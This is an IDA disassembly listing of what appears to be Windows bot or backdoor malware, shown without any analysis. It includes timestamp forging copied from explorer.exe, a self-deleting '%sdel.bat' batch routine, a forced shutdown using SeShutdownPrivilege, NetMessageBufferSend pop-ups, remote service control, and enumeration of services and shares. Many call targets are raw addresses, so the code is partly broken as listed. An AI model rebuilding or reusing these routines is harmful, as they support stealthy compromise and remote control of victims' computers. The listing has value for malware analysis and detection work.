; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB060 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2820769h push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 2820000h push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEE4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB074, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h call near ptr 26A0000h nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 27109BDh mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2700000h nop push edi call near ptr 26609B7h nop push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D158 mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 2680CABh nop push eax nop call near ptr 2670000h lea eax, [ebp+var_15C] push eax nop call near ptr 2680C1Eh cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2680B55h loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2830000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call near ptr 2660C90h nop loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E0000h cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAF24 push edi push eax call dword_4CAF34 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_4389B4 loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j nop call near ptr 26807C8h push eax push offset unk_43898C jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_43895C push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E0000h cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26A0D09h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26B0000h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27B044Fh mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 26905FEh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389D8[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389D4[esi] push offset unk_438AE8 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DB020 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438ABC jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DB020 push off_4389D0[eax*4] push offset unk_438A98 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF98 mov edi, eax cmp edi, ebx jnz short loc_418762 nop call near ptr 26807C8h mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE80 mov esi, eax cmp esi, ebx jnz short loc_418782 nop call near ptr 26807C8h mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEEC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE88 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEF0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 call near ptr 26807C8h nop mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE9C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE9C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA960 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA960 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA960 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF98 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF64 test eax, eax jnz short loc_4189CD call near ptr 26807C8h nop cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE9C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DAC1C push off_4389D0[eax*4] push offset unk_43907C push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DAC1C push off_4389D4[eax*4] push offset dword_439060 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DAC1C lea eax, [eax+eax*2] push off_4389D0[eax*4] push offset unk_43903C push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DAE1C, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DAE1C, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DABBC, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DABBC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DABBC pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE98 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE70 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEE8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_4390C8 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE8C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB034 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DAE20 push off_4389D4[eax*4] push offset unk_439180 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DAE20 push off_4389D0[eax*4] push offset unk_439150 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: 